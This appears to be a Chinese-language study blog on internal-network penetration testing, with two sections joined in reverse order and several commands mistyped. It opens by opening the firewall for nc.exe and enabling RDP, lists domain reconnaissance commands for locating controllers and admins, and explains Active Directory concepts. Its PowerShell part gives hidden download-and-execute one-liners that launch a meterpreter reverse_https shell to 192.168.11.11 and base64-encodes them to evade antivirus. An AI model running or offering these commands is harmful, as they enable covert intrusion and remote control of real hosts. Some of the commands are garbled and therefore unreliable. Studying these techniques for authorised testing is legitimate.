netsh advfirewall firewall add rule name=”pass nc” dir=in action=allow program=”C: \nc.exe”
(2)允许指定程序退出
netsh advfirewall firewall add rule name=”Allow nc” dir=out action=allow program=”C: \nc.exe”
(3)允许3389(远程登陆)放行
netsh advfirewall firewall add rule name=”Remote Destop” protocol=TCP dir=in localport=3389 action=allow
(4)自定义防火墙日志存储位置
netsh advfirewall set currentprofile logging filename “C: \window\temp\fw.log”
15.查看代理配置
reg query “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings”
16.查看并开启远程服务
查看远程连接端口
REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /V PortNumber
在windows server2003开启3389
wmic path win32_terminalservicesetting where (__CLASS !=””) call setallowtsconnections 1
在Windowsserver2008 windows server2012开3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !=””) call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName=’RDP-Tcp’) call setuserauthenticationrequired 1
reg add “HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
可以看到,我们可以通过工具或者脚本让上述方法更加便捷,下面介绍一个利用WMIC收集目标机器信息的脚本:
WMIC(windows management instrumentation command-Line).一般XP的地权限用户不能访问WMIC,win7以上的低权限用户允许访问WMIC并执行查询
二、查询当前权限
1.查询当前权限
whoami
如果当前内网存在域,那么本地普通用户只能查看本机相关的信息不能看域内信息。
但是本地管理员用户和域内用户可以查询域内信息,因为域内所有查询通过域控制器DC,是经过权限认证的,域内用户拥有权限,使用Kerberos协议认证。本地管理员权限可以提升为Ntauthority或System权限(都比administrator权限高)。
我们知道,在域中除了普通用户之外,所有机器都有一个机器用户(用户名为 机器名+”$”)
2.查询域SID
whoami /all
3.查询指定用户的详细信息
net user xxx /domain
三、判断是否存在域
1.使用ipconfig命令搜集信息
ipconfig /all
然后通过nslook解析域名的ip地址,比对看看域控制器和DNS服务器在不在同一台设备
2.查看系统详细信息
systeminfo
3.查看当前登录域以及登录用户信息
net config workstation
4.判断主域
net time /domain //该命令用来判断,会产生一些结果,域服务器通常同时作为时间服务器使用
(1)存在域,但当前用户不是域用户
(2)存在域,当前用户是域用户
(3)不存在域,当前是工作组
四、探测域内存活主机
1.利用NetBIOS探测内网
2.利用ICMP协议探测内网
3.ARP扫描探测内网
4.通过常规TCP\UDP端口探测内网
五、扫描域内端口
关注三点:
端口上的banner信息
端口上运行的服务
常见的默认端口(见以往文章)
扫的话就是用工具扫
六、搜集域内信息
假设我们知道内网存在域并且控制的机器在域内
1.查询域:
net view /domain
2.查询域内所有计算机
net view .domain:XXX //xxx指的是域的名
我们可以根据主机名来判断主机角色:
dev:可能是开发服务器
web、app:可能是Web服务器
NAS:可能是存储服务器
fileserver:可能是文件服务器
3.查询域内所有用户列表
net group /domain
系统自带常见用户身份:
domain admins:域管理员
domain computers:域内机器
domain controllers:域控制器
domain guest:域访客,权限低
domain users:域用户
enterprise admins:企业系统管理员用户
【domain admins和enterprise admins对域控制器有完全控制权限】
4.查询所有域成员计算机列表
net group “domain computers” /domain
5.获取域密码(密码策略、长度、错误锁定等)
net accounts /domain
6.获取域新人
nltest /domain_trusts
七、查找与域控制器
1.查看域控制器的机器名
nltest /DCLIST:XXX //XXX是域的名称
2.查看域控制器的主机名
Nslookup -type=SRV _ldap._tcp
3.查看当前时间
net time /domain(通常时间服务器是主域控制器)
4.查看域控制器组
net group “Domain Controllers” /domain
下面命令看到域控制器名字
netdom query pdc
八、获取域内的用户和管理员信息
1.向域控制器进行查询
net user /domain
2.获取域内用户的详细信息
wmic useraccount get /all
3.查看存在的用户
dsquery user
4.查询本地管理员组用户
net localgroup administrators
—查询域管理员用户组
1.查询域管理员用户
net group “domain admins” /domain
2.查询管理员用户组
net group “Enterprise Admins” /domain
九、定位域管理员
书本提到内网测试跟渗透测试是截然不同,内网测试是针对内网中特定用户或机器的权限,获取特定的资源
当设备被添加到域中,域管理员会自动添加到本地管理员组,获得完全控制权限,有时候一台设备在自己的域中不是管理员,但是可能是其他域的管理员,所以我们要寻找具有管理员权限的用户。
定位域内管理员的方式:
1.日志
2.会话
常用域管理员定位工具:
psloggedon.exe;PVEFindADUser.exe;netsess.exe;hunter;NetView等
十、查找域管理进程
—本机检查
1.获取域管理员列表
net group “Domain Admins” /domain
2.列出本机所有进程以及进程用户
tasklist /v
3.寻找进程所有者为域管理员的进程
—查询域控制器的域用户会话
1.查询域控制器列表
net group “Domain Contorllers” /domain
2.收集域管理员列表
net group “Domain Admins” /domain
3.收集所有活动域的会话列表
使用Netsess.exe查询每个域控制器,使用下面命令:
NetSess -h
4.交叉引用域管理员列表与活动会话列表
—查询远程系统中运行的任务
—扫描远程系统的NetBIOS
十一、使用powershell收集域信息
在上一篇文章,也就是内网(一)提到过powershell用法
十二、使用域分析工具BloodHound
内网安全攻防(一)
前面文章学习的渗透环节,或者打的DC-1靶场到了提权就结束,没有对后渗透再进行描述和联系。而在实际中对某个目标造成影响更大的我想是后渗透阶段,关注内网安全是每个单位的重中之重,为了拓宽知识面,我购买阅读《内网安全攻防-渗透测试指南》一书进行学习。
内网渗透测试基础
内网一般可以指局域网(local area network),是封闭的。
在Dr.Lee的课程上,在以windows2012R2为例子学习服务器时,就介绍过内网相关的知识。提到了几个名词:工作组、域、域控制器、父域、域树、域森岭、活动目录、DMZ等。
当年presentation的时候我曾向其他同学介绍过活动目录,但今天已经忘记了相关内容。因此本次学习既是对以往知识的回顾,也是让自己对内网安全更熟悉。
下面是对这些名词的解释:
1.工作组work group
根据职能给不同的计算机划分组别,方便管理。我们电脑上的网上邻居不常使用,在里面能看到同一工作组的设备。工作组中的设备身份对等,可以自由访问。
2.域domain
域是一个有安全边界的计算机集合,一个域中计算机无法访问其他域。
域控制器domain controller是域中的管理服务的计算机,域中计算机要互相访问需要经过域控制器审核。在Dr.Lee课程的实验里,我们需要把服务器变成域服务器,才能增加role或者修改一些规则。域控制器是域的通信枢纽,域内所有用来验证身份的账号和密码散列值都保存在域控制器中。因此我认为这些信息类比shadow文件一样,如果能利用那么就能进行权限的获取。
域中的环境:
a.单域:
要求至少两台域服务器,一台存储活动目录,一台备份。
b.父域和子域:
类比父子节点的关系。每个域可以制定自己的安全策略。
c.域树tree:
域树,是不同域之间通过信任关系(trust relation)组合的集合。域管理员一般智能管理本域的资源,如果两个域需要访问,要建立信任关系。
注意在一个域树里父域包含多个子域,而子域是相对于父域说的,指的是域名中的每一个段,各个子域之间用“.”隔开代表层次。以下面的域名作为例子,放在域名最后的子域称为最高级子域或者一级域,它前面的子域是二级域:
asia.abc.com
abc.com
后者比前者高级。读域名应该从后往前看,”.com”是顶级域名,它的子域名是“.abc”,所以说“asia.abc.com”是“abc.com”的子域。
d.域森岭forst
多个域树通过建立信任关系组成的集合。如abc.com跟abc.net不是同一个域树,通过建立信任关系通信。
5.DNS域名服务器
面试常考,用处就是实现域名和IP地址的转换。一般域的名字就是DNS域的名字。在内网渗透测试中,大都是通过寻找DNS服务器来确定域控制器位置,而DNS服务器和域控制器通常配置在同一台机器上。
3.活动目录active directory AD
活动目录指的是域环境中提供目录服务的组件。
使用它的目的是方便企业在网络环境中集中式管理。目录存储着有关网络对象的信息。跟我想的一样,活动目录其实就相当于索引,方便我们快速查找资料。
活动目录的逻辑结构,在Dr.Lee课程上也讲过分为组织单元OU、域、域树、域森岭。
【域控制器和活动目录的区别】:当网络规模大,里面的资源信息存储在某种数据库,就是活动目录数据库[AD库],当内网中有一台机子安装AD那么它就变成DC。
4.安全域
根据安全等级对计算机进行划分到不同网段。通过防火墙来进行访问控制。

如上图分为外网、DMZ、内网。DMZ是一个非安全与安全之间的缓冲区。
DMZ中一般有必须对外的服务器,如WEB、FTP、IPS、IDS等。DMZ只能从外部访问。
如上述三层结构,需要通过配置安全策略实现屏障的功能。
内网可以访问外网; //防火墙需要执行NAT
内网可以访问DMZ;
外网不能访问内网; //除非是用VPN
外网可以访问DMZ;
DMZ不能访问内网;
DMZ不能访问外网;
而对于内网,又分为办公区和核心区:
办公区:是攻击者进入内网的重要途径
核心区:能访问该区域的只有管理员和运维人员
5.域中计算机分类:
域控制器
成员服务器
客户机
独立服务器
6.域内权限
域本地组、全局组、通用组
不管是学习还是实践操作经常看到本地组策略这个名词,忘了是那个版本的os家庭版没有该功能,貌似是win10,要通过一些方法修改之后能唤出该策略。
书中给了一句口诀:“域本地组来自全林,作用于本域;全局组来自本域,作用域全林;通用组来自全林,作用于全林。”
A-G-DL-P策略:将用户账号添加到全局组,把全局组添加到域本地组中,之后为域本地组分配资源权限,方便管理。
A.用户账号 account
G.全局组 global group
U.通用组 universal group
DL.域本地组 domain local group
P.资源权限 permission
书中介绍了几个重要的域本地组权限:
管理员组administrator:
远程登录组remote desktop users:
打印机操作员组print operators:
账号操作员组account operators:
服务操作员组server operators:
备份操作员组backup operators:
重要的全局组、通用组权限:
域管理员组domain admins:
企业系统管理员组enterpri admins:
架构管理员组schema admins:
域用户组:domain users:
WINDOWS POWERSHELL
1.ps1文件:
powershell脚本是一个简单的文本文件,扩展名为“.ps1”
2.执行策略:
默认情况下,为了保护不受恶意操作者影响,执行策略被设置为不能运行。
当我们的powershell脚本不能运行,首先使用cmdlet命令查询当前执行策略
下面是能选择的策略:
Get-Execution Policy
Restricted
RemoteSigned
AllSigned
Unrestricted
通过使用 Set-ExcutionPolicy <policy name> 来设置powershell执行策略
3.运行脚本
注意,运行powershell脚本需要完整输入路径和文件名。如“C:\Scripts\a.ps1”
4.管道
以前一个输入的结果作为 | 后的输入
例:让所有以P开头的程序停止运行“PS>get-process p* | stop-process”
POWER SHELL常用命令(不区分大小写)
1.基本知识
新建目录:New-ltem whitecellcliub-ltemType Directory
新建文件:New-ltem light.txt-ltemType File
删除目录:Remove-ltem whitecellclub
显示文本内容:Get-Content test.txt
设置文本内容:Set-Content test.txt-Value “hello,world!”
追加内容:Add-Content light.txt-Value “bobo”
清除内容:Clear-Content test.txt
2.命令
首先,要执行powershell命令,在cmd输入“powershell”进入环境。若要运行powershell脚本程序,用管理员权限将策略从Restricted变成Unrestricted
(1)绕过本地权限并执行
首先先把PowerUp.ps1上传到目标服务器,然后在目标服务器执行:
PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1
将同一个脚本上传到目标服务器,在目标本地执行脚本文件:
powershell.exe -exec bypass -Command “& {Import-Module c:\PowerUp.ps1;Invoke-AllChecks}”
(2)从网站服务器下载脚本,绕过本地权限并隐藏执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[parameters]
最终执行:
PowerShell.exe -ExecutionPolocy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNe.WebClient).DownloadString(“<xxxxxxxx>”);Invoke-Shellcode -Payload windows/meterpreter/reverse_hyyps-Lhost 192.168.11.11 -Lport 80
解释一下参数:
execution policy bypass(Exec Bypass):绕过安全策略
windowstyle hidden:隐藏窗口
noninteractive(NonI):非交互模式,powershell不提供与用户的交互
noprofile:(-NoP):powershell不加载当前用户的配置文件
noexit:执行后不退出shell //在使用键盘记录等脚本的时候非常重要
NoLogo:启动时不显示版权标志的powershell
(3)使用base64编码powershell进行免杀
由于脚本里有特殊字符,不进行编码混淆压缩的话可能会被杀软杀掉。用python脚本加密,注意转换的对象必须是文本文件,所以要先把命令保存成文本文件:
echo “IEX(New-Object Net.WebClient).DownloadString(‘<xxxxxx>’) ;Invoke-Shellcode-Payload windows/metererter/reverse_https-Lhost 192.168.11.11 -Lport 80 -Force” >raw.txt
给加密的脚本文件权限:
chmod +x ps_encoder.py
使用加密脚本封装:
./ps_encoder.py -s raw.txt
之后就会得到编码之后的命令文本,记为X然后在远程主机执行:
Powershell.exe -NoP -NonI -W Hidden -Exc Bypass -enc X
关于32位和64位的powershell:
32:Powershell.exe -NoP -NonI -W Hidden -Exec Bypass
64:%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exc Bypass // 64的配置文件在路径%WinDir%\syswow64\windowspowershell\v1.0\